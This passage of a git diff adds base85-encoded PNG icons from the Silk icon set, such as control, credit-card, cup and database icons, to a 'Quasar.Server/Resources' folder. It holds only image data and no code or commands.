HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png new file mode 100755 index 0000000000000000000000000000000000000000..7dd1c07fbade1ec8d985d95fd89385667bf83e3a GIT binary patch literal 604 zcmV-i0;BzjP)V=42{wMyJ==FL^x7*b^oepca+Xm;{Xf~Uy(P(J3T21*D zAjGN=^W}0$$K#Q1x0{T^;Xw2GoT}9-uT(1Pmw*qkc|M;B58k`oj!e^})9EDV04fefqL?N$IB5&$S;dHP}hDFLVh>akw0DUnDp3(#t{3=|9E&1OS( zyMvrg7bTNPIYt05old2T%jH7RXwM2F~VlEOTqhl>IpEJOe`0XNaO*i*Xs-w zM;fqav)QCzHk(OTpMddrEITt83@989KT;6=)$sFvzsthux=wFzy4(=~R{#u$L%LqC zR4f)L7z{p&DEg`t3I&ecu;8*MAOH9`=4{(&UQ{c7Lytt799ovKsYK5 zfeX&ae-#=M>~ZlCSpaaL0GpnT3Vz*Xx=o?^-*E6dJX6_!nO~ zvmoOvu5tzPMq)eRV`pdo(AXr0#pZDqB%)>2pTx*qUZF0Rsp|vSC97+SEGD7N2NTV}r40eslxo&pqj8>i1rMI~Z zX1l?+a8PEX#qV}&|?E#wjHnC;jufs+Ya|Obi$Qu=$t2e@Ow!6X7{b^vFrnbl=Hp9 z;1VSYk(><^-&_2NVc$4%P>}SzZhi3OTuM_N0#E(Y#S1JG2XOG3r|_6_Bb;v>8%|K{ zSHpnF!y$d=fe=_?1DiZvu8Pag!w_^gqoPU!q#Ag4|L}{BT=FYJFi@83++x@u$6WxQP$6#oXhxsIA*8rqi+_Mq81K|F*Mu f{=3qNCI@zNjY)WIOyWak@K6AS#31M?c{P6l+UdE6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png new file mode 100755 index 0000000000000000000000000000000000000000..c9b49f28147bdb47ea652efae9e693f5f75d99a9 GIT binary patch literal 350 zcmV-k0iphhP)m3YgTot7 zF)m$AE(JC>37%jK%Zw0tMVoWsg_epk_=y3!I8k0`>X>a4xX$EJBpz~;F^;qs?(70n z;)pQsg-1M4ddI%?LW9DD_}Sw%6fj_t9($>9qi0+xnOh_*V1u~N{|T|1j;O0XK3S18 z9(Z_<9zIY-kSe_+Uh9s(1H&WoXOgg(i7X}N%&Zqth%a~TV$_+~Go43<-e zNz6IwcQIpF**2=_;Tp@y>}vW@?UxZMYnC~#{yM2;Pp`6P)*8r+56vA^2D80)U}|2< zTafbw%2}a`L~Wyd?(Af7Mkn~=+&TV&L@d)ZQfSmBdV5D#H?vnLmWURY#1iS^l8nsg z;f!&4b0Ud+`9=i?_i6xFIdrd4e4i|SKoO5{#S_1zvm&)rXO(N$vx{+sNO-_HN8u*!@A26qWRq`3LQ~k(dl_{i}`{S95*cn zE=(cJ5HomjwLcLDVp|R;oB<~gjnQupCZtUk6#6GG*m8u#(vm1xLqpij*f(LMK2Fh$ zpx;VMP6oP?9PoD^eX>O1lu=gpskE?S6oOh!kMh-tdrwC^BPfZ{_M+$bQ|E87vd-a} zpqTz}&7rYXEYE|fPup`+QeJ!{G6J3n-O)V$ MuoxVgol#Kp7pmi>!T zlg*1#VHC#iD%uAHty;DTg0}q?ty;8bDFzCDreJ80{BB+R< zJENR4PZMQi-K$n$6{M+e{`y zCzHvi{{^55g~BV5NOa+FIKC8%#WFEpk_S+;0uA4flMsu=wvk9g@eiQYYGoUZ#;;nf zwk?;-FdB`3VHmiWEa5y`gl|tCa~huHAQ%j?r0MVf0GiFFt=sK#C%yTk;Ec=V5(eW1 zy!^<*iw^+Bx5qH>dSE^ra{Kc6JlJfuBMv}5)@Yi~=Nw?K*=zV6|Ft zLOAX<8jU;B^k)=l4vT=l&3kn^9UxVL)9GYU)9I9}vfXZjQmOn(B@&4pQul^EU^1CN zHk*ZXIt^qGkTG9cEEbJkuV?WZo6QC!5(!Z8c%13?`&?OQ#B#^uF;uHnNTpKPc_2n0 zqyCI{R;g4puH&IXp%AEOGKB zFaZe_Htgq(0OW7HPl9o7Hk+@=e6O@xZTY%@-!Rz$1Rlkwh5!Hn07*qoM6N<$f($t; AN&o-= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png new file mode 100755 index 0000000000000000000000000000000000000000..efecb3871b9220d8192afe89ab66caa666b69e0c GIT binary patch literal 759 zcmV zliy2|Q5eVHtNwu?$ZopyMku8m$t8i5HDPWtH@CgpQd`@%^Bh_X>&gS)_izr+_j8{2InNPXE|-9%^dU|HGTJ2nWd;3w^ zTUb~y%+JqP{C_nhR^2%i$S;f+0UmhZ|^^}Tt(B1%XlkG&}cLe#>dC= z@pzo4MMg?Dl}cf8aS>jxmnx4=u@$-xP4KNs_!w7Uoqmj))&^W_y$E4+baa|3PeuZe z+2L@+IyySk=H_NFsdo*R%AQX)cs|=fL!5a4>&zpZYpE*DIXIqX#7#bQn$?i2D4u=to#ZW93VYAuFwSe zlV3sn^F#p zO;I0mE*EY(x3LD!mZT4XmATQHvj2Z=rMusL=fYxGPhR+5xQFxo{LVe+{J7E4QNzf{ z$bA6ZVZ;p&4_`2uOiOyb{^Fqk^wMgzQjJCvQK?idhXSb8>SIc!a#1dqFG(blQxscX zULFVrgS^k@<2@cv)#Y;e91h2|{{l#UzyGmVEZ#8~3||6)K!}-l*#lC}@59!t15;B| zRlD6T{|B(XzV2RKUEN<m<3!P3kAOP4$g-rQ;UI5gU z%jNJRnMZWHfI^{wa=9#s;FR0n-(O=*zss@a@B}z$t}7aif>jBl(a4js*{o3I#>NH| z3dL7$W@e^F)ViS#$Ye5byWNyAZV!VHH3C6A);3g&}7O3-NBmkK$ z7E4?vlNCiG5txe3+b1f!%nVZp&~p;dv?2BUI^NtmUf^stTQ8kNlOO>74qNY1_=!ip}mL@OCus&$l-zgamdQTiIf4 z4h|0PvH9-x_4S1g?) zliyELVI0P}>K|z9qN`S`S*>My(M=b%{)4tQH*2fA!Yxx+hAy!Jp#(A(!X`9JVhTFY zg-ej%v7wSpR%?VHEJWq^4>@2YPwzR6)~YMd_MEeG_CBBQ`##_AVX4(>nM$Q<1Hjsk zSW2a`NiLV$rBdmceF5m((9jTfaB$E+FfedvUjTtXaDdO}FYtIgJBPzLNPqMBd?Js> zQ+GHVb&JJPHJi;2lgV`9zW`cJr?aEGyL(F}lZ9L^mzS6+a)DOP>A?Do36qnPRjpRb z`v(vR1m;&(R(>okEmgfvU5Kufd~Boc{;0g#t6ZOZ5K44|Q0E{Ba| z9?^|$L_J-|gbYXoGz^?xD-;U%Na$BsB%C@8_}ko2WLb^W7cFW#YY0qV#dh=qv&&#G zh~D1bHI~t6+@q-tLj#b>WMF?cfzQS^R8wzJO~{Z9n_(SoM|r1&N~HoWmkX9&uP-GM z31(Zgu}~-=olawM(Ffmj7t+BgRKGofTilB8nJIjHc^OuNlsQUgXD3)Xoz6-pPaA0f zZ5|mJi9Z+Irq*qJ*iF6$wRRJ3(K%FNJ;+Dq;26HN!@1j$WwY7OSmWd4_h)BkL3e@% z&}5ZTQ6iQ6ITBnY%0>BW+b@N#lcNkH=90tvw56Zv!r0i@5z^O^-|t5}9!I%chW^E! zddw}u?v|3NUJkXBBeXD2D#8Y}IRp3OGuy6*r%y4%pin4A$(Vu+6Ub1(J$$iFrNh|G z+E7iB43dUFG>uy66XHHC?0qK;41oNNhsj`s#bR-d^ta}Ea=!Ln)J%DVXDL#NB9$m7 t|0Lyj&_odvW#b*EY(2-Qg?mRmKLN4t3DC`EWF7zj002ovPDHLkV1gAoYv2F? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png new file mode 100755 index 0000000000000000000000000000000000000000..4eae583e15294a046d9ba4421f6b832361b7c516 GIT binary patch literal 693 zcmV;m0!safP)Q4qy{_r0XCiLueP)TcDHRjFwyR49fBE=0SrAQVAxqZ`35;M!d_>Nn7(Yg2F` z1vlcNi$EwyQ)xj+tCU)6UTm8-FYn%Q@nZgv>VaV{%$;-Qo;&K+v&9$F$=H(~+lm8- z0Adgk#0Z!mi!m4@6ib!2?_bW}qk+)1(fHHTL+1etq;Uer#c88T|dM4_%NSVb{RO;L$#*c>!gO`EEaw+pK$^dpxC_E1xZNEcKya6MW%d@1@X+oh8 zN-6#Y&+{UVuEoyT++I zn$b9r%cFfhHe2K68PkBu*@^<$y+7xQ$wJ~;c5aBx$R=xq*41Wo zhwQus_VOgm0hughj}MhOvs#{>Vg09Y8WxjWUJY5YW zJ?&8eG!59Cz=|E%Ns@013KLWOLV)CObIIj_5{>{#k%TEAMs_GbdDV`x-iYsGH z#=Z{USAQA>NY(}X7=3{K8#`ZKMgf6%T?Ed*Cat6T(z(gze_Vj!CM zy6@eO?#%UBLOT}?40F9R=iD>%#+We%%UB#s+R_AGvw8Yw4_Zs>2F6fS)&oeXpp>-P z(4Hm2FoZ|N+3e;VNHZ};&)gBvnMk6jHRTlU@9U0$Oo&egxTGs^ATns~z)sFnC~aG*pjzb8G=xt@DLRNB;YZL<4tG!V^NUq+~Mv ztN7=;N57-Juq!r;ZvU(T-}ZaSebaUsBWyIhc|_vmN(Q*NXt96)H+}<~rj3txZX_4TvTUMq|>LbhG>RIrFwD2p$R<_?X9=nQy+C-KR+@(T#b~rFBi9 zr&5dmoxyQzf`pXp1)&Yw77)Uws6}TRmSsWbtx3IRhjPdcS z@OpJ@ZmytO{i^P5+l0rqtpjE*E)+5p*rVbL*xpW|(WoF2xulZw`6M+7fop`YNC6S> zQg}|jV5`?l*xE{=)v97_>t}iDL2v`r=>RQ5JN_iu51ZVtjDaPH(RlDP!p6H`bm zy@1CwO|?;sDQf-$1 zE-6j&QvG?{oz?v&g7sn=ABwA(pM8dfH@9GTeeh};w8Ol{_?_^>!N{=(Q_*RR^vCdd zCyVsQReUSd9%+Yt&P1|6?lvJv*d;v4JTA`v1@HWV%by88XaE2J07*qoM6N<$f>mTU AbpQYW literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..326aba44079378741a091b4f6dd003ba16ebc546 GIT binary patch literal 654 zcmV;90&)F`P)38XA*m5;4_2X81rH+VK@dEO0Z*QU9z7KV=|Q{-f(ZT#9+ZM8 zC7_fnsFxNCDJi6tYD|LS+9YPPyE8k^n`u)84~0B<%#ZiJZ@%|tCMJZyAQs1fHZXzd zIM4oDLliOT0z%Npr3YY)gL5XMp`0^>VF;6w$Hq?efz%Trq8--+G$)eXF^VY0v9?y! z1Z2M7RsbE;2^z$AK)bFLC6l&P;AsNQ93hoTBbz;gZr4S#SwSv$PVR?TU0uM`)O8q! ziS_ljaNRAn&zO%mV_~0}z?+-zWuPa)XR)#2pwsz*eExz;u2hQhkP#4u^H3^~1k@C& zlQzg&tvaez2cG9*a`G}PYXtRr8Mb{G6BAdky^km%vj#Op-zJIS*7*W@ZXXS`c)k+))+Vdhr;C8eeeY z<}4EVlkh$*qFgE>ZAb-Fn^q8DdHMN2o$mX~C%AZf4$0~}VCex;!)YALjiXWe2-Ej{ z)zL)4`s>>E?w!`2`wPhyuT^L1bqV3iQK*+kB&6HxYc zuV5|A!uJ~JN`iLFK+hUNY(KxTRLIN^+19=6C^OCYSG2z~d~O;%?1}ra{eEYskemDc o^V=PR$HuuKY7+JI>LPpi2eb^A3F^mTJ^%m!07*qoM6N<$f>8%1?f?J) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png new file mode 100755 index 0000000000000000000000000000000000000000..6cdf38c36670ec170cf88493142a6277f3a16d3d GIT binary patch literal 655 zcmV;A0&x9_P)s4B8sX20TCgDKpLQ_sjDn>cie5y6M(y6rsZg6xGOU=ZxaAO6m8+|dxuFu zBGNt4z9$`3SJx3jF##lGBa=BsHrvDQ?mBC0v*dDTF$+vjzoN7ADwUOK=H}k9zP^lE zKqR6#%k{Cim}h(YH!Up}xcBlJcc1rjq`D4~fNCIwhzeD~T~G}G zY;G1uG7{wKut|Og~B%?4Kz2jGctagNQ#&#A|=vhMO1|Z1gZg5<^JoNxCLSt zViB5-pQgR>99yLw9)5kq(3xRWBhn#6mqE;2kh#P#Yv(jw7b2QgDqFUs#xk{EU4$Di*66T|{R1Dnwn-PwM&!!A#k@}#3E z!Yoi#RrAlc86_zpDx5r;LrhUO3LDGR*EaHLCC`_Y&kWXdlNuYlxAiMjEgv2kg2)MtT% p16oH?J8G4gqG{`|QD556{{`7)p*DCclOO;9002ovPDHLkV1n4+5xf8Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png new file mode 100755 index 0000000000000000000000000000000000000000..4c72ca5a409ea885dffbb3264e2366fbfcc5c910 GIT binary patch literal 661 zcmV;G0&4wR5;6> zlg~?3Q546&Z+ztBFqN8GzR{3Ep)nU)K?E*r;i@30aMiL+tNwxd7upK8ZV?mxSQH`5 z%Ar*T#@I+IrS-H4hWWva@BVt7d)~}2tqd<*&Y649=bZ03bDtB2A&#=hAu(mbu$SSx&5U`}~?nFnhY5J!9yY(*U$u({C36O#Y_4|(d vR?5yHAZy=);3Sb;#Xw~LUCvQI=hpfQ1cAs#UOhiO00000NkvXXu0mjfn^rF8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png new file mode 100755 index 0000000000000000000000000000000000000000..b7bfcd15fb2f7ce658185bd7ef4729815e2f18b9 GIT binary patch literal 633 zcmV-<0*3vGP)DAD_Iw@kR+3LLZX?3 zyhGkEvUzKYKpu0v_u>?yY~y}#nAbh$p6}dm6adQqK)FzXa=E-qP)ntfS|}9Md_I4Y z%jHh8*{qt$WYlyzt)^0`-M<7XmC7CwTlIP!6`0meW$j(o%*9*fiupyDJZx7&n@&K>z*>QCDhTzTp zTlnzwp?s_A3C!nn*-|JJ`k^?T&hB6^z;e07X0ws&YPAxuvwwlMjasdSU@%xy91e#I zzZYAh^udB=a16G~?^>-EC_Ew4q~Q1a4;7oucH0!-LK+*Y)he3JCK`a7P}Mc?vlj7AM;VkzMEhOwnj`hl1MBj6s4Nlz_+^kH@of;eX>V_G&2` Tt35or00000NkvXXu0mjf&s-qj literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png new file mode 100755 index 0000000000000000000000000000000000000000..4ecaece296e6c59fc3c208778e6d7eb5ea11c6af GIT binary patch literal 715 zcmV;+0yO=JP)n#+EeykZ4|N(vXz=Khh*^5}QRJzvJ8?K~WJw2M(8+H|N}Q?|s7nuzvyjuL8kf zu#H0s1Ok%Z@0Zrr)@FS^->lc`l~z|*C6C7=x!vxzUj)|I*E={d9*IP-xw(n0tu29k zJ}+V}mlMcjGT@?cxmeIJuLP8-+pvxpV>_=cizp9L8M#J-q9?DWDtZh2hl* zJ}pl3J4s}-SvVYyhTU%OB-=8PtJSKws5yP;kI)VFqEspg5v$cIGj3;ld3hO)Mgui2 zqJKUB?VSr4Ki`RwGlvBxx{l(_-5&8RBs)3lIE*fYcw3Pn55AlK`4VV4N$bQ-BtN`QoV22Wtl z%SY>fDx3~2U4~}qDhZSsUpq-;W@g4uR%KZh^%7b_Cm$ZfqVFYsT)NL=B+&dF8Qa0J z%V;!C^Vv42ZW>kVFI3&yhe!I0Q0uz|S^d8IyMvz}hs|c&Yq3~re8%8{)F|A4b`58T x_T#bslE_Sv_M!)W`|9}RevWOj-HiQo{tZX32x6?^3R(aF002ovPDHLkV1l2WJjnn6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..59a6d9c614cc3ffbde67dbefb8b228663a9fc8d1 GIT binary patch literal 731 zcmV<10wn#3P)2lh<3J$3PPi4XeC4&38aV$Tv&_9v^Ek!r4eZZ6+yO`AwsM% zsZeodoR`{6`a8@6m3cp6-ZN!2F^~W2o?8Qf5kXz}xcv7&-*>)q&bU0v1sd_Jw$>z(j;JQHrWTkCSUv@0ts+U4ct)=dKI>+5Zt7zqZ0$Y!(1<#Gb~ zd|vFCOhzD;N`Z^Q>2yXM4o901;A9mi%Y{M#nM4%tUys2wI*eDh`|#rWMS;n|ewdz) zVCn5RkBK3jPGfO#QC?VBP?2qk$dyV(1l~Ko?~j-q>c_^$h7hsa?God5J{b%K$g+$o z7nyl92;Jq=c+jQ7$cY024^OG_toMxg=a(EP7K@@JtJV6E>2$hyGMPlFR6?~{6??f{ z79eN811}qaKmZntCBQTq%@}?zvc|g)60A3lKz8XY5{ZB}PmuYfFgG_h%-Y-AkJSYz zkdF<1zaQan7@<%IG#Sdc^mqW4uHBebDPio~3FED9m`tW^tf{H#U_CpLi4=>)5RFDf zM*4P*-hiw35K3?ELiSDJ%kxWc_Uy%ss__C-DwX?r2B}u73A;o{Boc_n;{qgPJh=;B zIT`mmfWGa(%@$;a4rBVLBFOmKLLz#--bYp?NfPxE>Oy2&UV4dNS7BfWW{)(=KdvKV z4IEp|X7f0otxR>(sOqEWk6h_ N002ovPDHLkV1fdAP!RwC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..0b8f1e1ef51432c8171204b03b17ba5deda6c523 GIT binary patch literal 778 zcmV+l1NHogP);pE=-K9H0nZ#HcDiJQAvy_EQm%EUkhUqm|YI1TC1PYtY7P4Bc*%Uy`Dq@!7@i-!5Bk1qc!B}5|wn{Z#m7k|-uPTM{ zsRp0Bn#r9orlzLQ+uJK!EEbg#dr&balSz8pgFXY>Os*y={1W5Ox z0Dm@4>_E(Q4e9xA%zrtHsP!B?YzdqVr(k~b;u({Zlasp)P?|%=22m6d3B(@n+pakDXPGE*48Lm5kuc8wk zj|Zgj7b$?$Y6a5L(jpKLKEAvKcUKu4Z)-5xSAe-dA)@wD3_s3CBqY!t5wr1^Katcb zqBSOysaaR00%n8oJ~{%fY(09&t3B1Z@bz;_Y?+vKD=yRZlUtGtmU~#})1a?n51LMI z0@top%qhKIzu~XjSg?DYbhCJK(olIIsjuE^>QHapxY9QM0L{1vkTsmPBLDyZ07*qo IM6N<$f(Ry4Qvd(} literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png new file mode 100755 index 0000000000000000000000000000000000000000..68798748d2f0bd564505dc5e4b1b106bdfc6bb1d GIT binary patch literal 790 zcmV+x1L^#UP)&h=z!kfV#M-iHk8^b#X9p5(kYFB#urxC~>Px z8B8#0>Oc*OKnXOofdYvT+uFa^ANu#M_dbNEF)p0s=Dc&>{m%WqlXD1T4Er&PeVX?7 zAQFl6aCc9zQWOQ;Tf{d%@~>Fr$6PK~Xct37G8&DZ<9=MH({)&_RuDpVesaHCOqlS= zWD><dGO9=x^LY@}9{u|E3=a(olH_!esAk_yxrBv@>1u-Xryux#8hqOSxPI?*Rt9 zcc9T|)FOpK0j$1_TzC|g)_yb-zH&dcEj4{LVn`|Ru%&)xLU0W78BIx^F80yCkhB^`Fvh|T~4kbzdi{|b0g|G zKWxq$po#a;X{pMBGZ>)@3kx{`79f!{nM}~@^`MlXx;2TG?km9dS4_Wr1#@EwB)x>% zk9ol^iN$&;<<~|{5Vj_jH-9J zmXOowyyf@%!@M8JWHO+Hp%C?oEij05Ov_kfqT#M+~KmEP$HAVzJDb&E`~YK*bU&4lOS)!|(Zs4{tl6X_Mkj-CcB76>)m& zOQC6(VYI)Co^iwH^TA{?g^Wg{gvAz_cw=LOA8fpQ;*az;lwx&tm7D1GdXdmLU({+f zLZJ|X)MTKw9*UA|G-pa6%Sh(5WSv9DogDtoDVnjevcgLm9v=Qo6bi+>*XzaF+8Tnv zAm7*5*EuX%nA;txxY?cvU%(4mHe4TjqX!pSk!;NFGxCJkgQPp=1 zS6dIm?y!MQ3PVFfQj(UIc0O#t4$`r~>2#u4c?Ly7G799!k^3wG_f%KVX_2Ai^(CZB zV=$;0fJUR)PNJiuPldnE#Iv)raJ$_o6q3+mZASO#6E1vdkwQ9H0=cmP1Ct*4Y5BmqvZfD%J$-H<8Gup+=;CA(`eRKB3DR9Yz6rgQ$~*d_A(g^hJ7O= zBSAW2P(#)zPGW5ovgH!QmXmoZKJ?eOkw*TyzkCaJm65ogpML``p5oUq-p_^r0000< KMNUMnLSTZ4&}I$* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png new file mode 100755 index 0000000000000000000000000000000000000000..7ae160ce25e67b62abe27c2761781d424d3df560 GIT binary patch literal 776 zcmV+j1NZ!iP)cSajUKNoTl`+$cilDl%$Sc#xP(ezRoDoTF8j7W^ zvab!B&TV?yS8iixZf-l+o8N!i$@pA(RErP(krXL;H^5)edpm<)!~~-DYi5{J-tRLmC8^g5;7(YWOjZ7bcVSaD|L1RB+S{X8{ z3ar|jkuWsDJ5Y^J@`iVmR4T2^8wh=owZY@@!0-3N=kr0>jOX<=Y$b=VxzvQs$YZS9 zn!vHmVB}?MRAFJ^;r#7_SP%t+L9i@~Kp-G~FMPO%@7{KB{;No{4d8sW;M~{N2*TkoLZJ{?`y>Jrmk`p_W1W$KTR4fdw+0(7B5v8Ad49I|97STc zU@|&7>Lf<6SS;cUg7hGKBQ>PdK5TfZz%j>R>XE|QaSXOL>DCKban-Lsk;E>-9<5e8 zLUzjweTUv(Aw56C`d0}!XC=(NM=>V9%WK|_zxpgI+PmXp((Cm_I-M@-QPpEBdLJ9i z3D7-dP(5kQsnzPDzkZFgod;SS{S{HV^N4@o^1d@W<^2FSLkhmR{)z1X0000v^zY@WzjBN@nJgmb;$k^0I zBn6_*4Q1A*OqYr?whE?mZfP)@+de(dQy!$~QeXJ+KJVxIJfG*+`zipGe}VE}1$K6J z$_V!D?QMG`60vV>ZOv|OZqA0oVf)6$hJAf~-5v}E%YGBs-Q6vxz}Wu&K8}u#kV>Tl z$H&L=OeT|pgM$N*DAv~2Vu3)QTm&dsO~J)v{OT%NhpF9wFM)X*C zZo&K4F7o+=!^1zuzBHsGO7e`FRwJ zMdV53?XwX$9^S*#Ml~$D+X8FTUA%a7U+(ro0c0{6X=!3Hqv?YM&j-iga+!<8VxZwkFl`Epi;HHZqM|}` zF2IhoCQMCDVQg#+Hk%CwgMl;g%&nNG-wY8&4NlD2q>M2wx6yWiA(B0jQU^t9{fdSOj)uE-O1>@u6 z!n4g>Pfw4Cbar-T6gpQ}WM*b2(%;{Yp`jrWh{xm5Xf)sraa-Jm+wDembv5SZ=DaL0 zI5?R7`8g`eCBoINuC8Evd%Fnq_V%Kxs!9Ut>+1zi>87`L#)6>(iTCM2l=zw0Y7n?b!)0v{Vq^X?`7X(U6OE1$_Zq(G&d~9xR{?^vk qmL+^|XlQ66sL4KIj_=rqeSZLw72dYRtc%V70000Oz)v9NDSH=fJsiO#fb1VUB3$_mJklF8lkW*wbS#%5&dExCh;xC@vBrs|djTqyH< zDjVE#bZh~O`1kTOI50gf2jFuZe(hI0%g_D+L_jd_e^fCq00000NkvXXu0mjf$libS literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png new file mode 100755 index 0000000000000000000000000000000000000000..f215d6f6b7c81ab344a3e53e0e5e756c58c82d90 GIT binary patch literal 648 zcmV;30(bq1P)Sxb0Y6MkDSd{nPwTp^L>b`TxVmKBiF^NLQ>My+_!0?|)hBPe_#}P$?rlUF;M20U z`oNWE|K(DrsR+gN%g)?+`OfqmmmiA8O_U(YfPnV(E$8mN{jZQVJ-L7LxzmTQJ^!PS zHqDyoKn&^H)Oq>Q$Nzns&wsn~^6P)|vPC&W#R9Kw95|FC`?q!91!~-K_R;^uDLWSs zj7A}sG%2IZxvQP(HeS-nn71T-`ku2F9(?#8KXKbp!Qe&~yaot4r%3=c-cDF`=YPn& z3!hUrzxqFO*Ny)VU;p?Y-nniMuVuI+UIUD>=B$ZZdhM^2Z-JeJcbDl-H)3?9>AG_?ve_7A86r2Wlb?y7)ShoTkzeah}rl)Oq{=a0=sekDkpZ?d4n{v>% zcgJPxg7sgx4Lmup8sO5j^?B5iYcCv|)*VgT_U6A?-trsfIcr`APCfD&B(EM;R_0K# z{lAb!kTg~UrQ ilDgypkCC?sx*7nVRiSN*cNM8!e}HvIH<9>qC z*u%>#zg$gv<}MShGjnAGJ2PkOK6By0hyU>tw;vUW?dQg807&yrQ=RMQ-E97!vNQg4 z-N*j_tUWjWKLolUYSQlg5=m36r4lDH;xu5ThU}a(Zr1-N2ys|V5M&R&;$i)N&feSq zmz{a{|DKP-|BKF6|7S?@XW}&Au#M51wR+0yLF^T(QZp|FIQ=hOeEQ!tf5-oe6~*Qr zu++b@&qD8hH!l+xRs;50>EAnPZ~Anzf$E{VUiSajXvrViWT0~Tn2ph=HZBI{xzd8= zCmhZH_X%+*U^QU6B!BX8TcaQ6fr?gZ%5MN_lGviFy#9=X>EBjP28k8wGEoDJ*ZwBk|ase^C7REMJymU&H?~9uWmzw65p*^IVJu&wC|Dv4N5e>9E;(P6HOFo z5V5qTX}TdOGiXp^=!VH`=oX?tgA%i0SekX+Qp})1iLRS1&4w`TY3d510ag jC#T2dQT@|{69E1Lbo-vB@xlE^00000NkvXXu0mjf>JFD! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png new file mode 100755 index 0000000000000000000000000000000000000000..802bd6cde02d442288490c5f278b225e192927b5 GIT binary patch literal 658 zcmV;D0&V??P)$< zN?sD2BV4j9Yl`*+fsWQD?H_4>L?~r48B=l;Spkuc)A?yA6iP)R5d;DO`2BwH_g=3D z!!XcjG|+Ch%jCP5&1Rc|$N`LEvA9yN*EyX%X^loByIQT_h>#+l_9wi@{(Z?D2RE zUDq)j4#hY2{Z&BrR!Yn$4g z^!3C0RHpz#W@n--_jThHPEAe2R834DnuV#1kUlxXv}=C^n7~&>f1RO6h@8fUuT`wRE91*{Z%LW-oO8KckjTdf s77ewwyuEar+*b)ffn+a07*qoM6N<$f>LlT?EnA( literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png new file mode 100755 index 0000000000000000000000000000000000000000..3a111977cd9dcd631ce1de85d5ce82b9ed477c27 GIT binary patch literal 763 zcmV-F$IpKw}ImgOJ; z7f9UkeLqXqGzqfxt7QF3)<-1d`T2Q|JMMspFO%GpXf%2y9*-j&4kHu_f!^zMI#5*= zjYb2lR%?Ug7ES=x*VkWXGMU+li3xBVcdBjIby2NWQLEKf0>=*tFc*u({#ko6nFJ|g z?nDoqo*3BN+=QlS$mjD227?eqk(Hq9I@;|vn$0FssT2kLZQ|-id%$+QRo569<9qv% zBnjnm8M$1JiK%TxQD9jX1VLcAK49g|FTrt~4?&Sj3z0ZJ?)<=HM1kjdtcg@W0W=PK zM#c1;^}sOgal>-cAqn6)AN*Jv@9IG$QdhCIwua^9WsnCLfUZ<{=zsybx}CIan}V?0 z(jf9aq{ui*&$pQ6>FH?{i$&Pv&LM~b`VLgXi0VYFk?86scD^Y%BLayFDZKrnV|#lW zi9~`4jsobO0XnL2(RM88rUON{plT*+du<%376#5=!^`(R3b$_eU!?$QpE}}O=L(Xl zTXHla@d^=2JO_a%GalgJ`5qcOEzISoaA`8ae&guqD6-iso5p&*t_ugM(H#y2M2}E4 z!@_QpjO%X=M%RSdwJ?@atIWY8Xx%dePiIz*;vQsHA#%EP6lrG0Mp{)++EaGtq_b;C96!L6rv t?W2=fDwT$aV2XrKn)Z2danU+@{s+9Sw^uGDfpq`?002ovPDHLkV1o6HVQ&Bc literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..cce652e845cde732ac3ce9a4132b597301ad660e GIT binary patch literal 659 zcmV;E0&M+>P)ps_J1 zHhTmGl@tMUh=_=a3Fb%)BqZVTW3s!xH?UsxE?7A5@n+t<@6Gq#%m~l(@IOPFT;%il z03|#}Sa4nU2-$-Kn!4}FekQv@$S0FY$L9!N0g;c={9!m8K4zLG48uSu6aw$J+ii5a zT~sO+G#ZW9!I0fqFSvY9*@h|sR=YqL#x%oU@(yD@pz0* zr-R{eDEHX6V*RaK<|4rWl@GKt@8COeKZT>%ICBq4+h_I-+?Y*V28oxmqBc+Oz5 zc>4@kzJgDe<1lkKXYEtktsNC`FoTI)4qLaF!_1E&4qv>EKx`iUcee83)!MzalltZ# 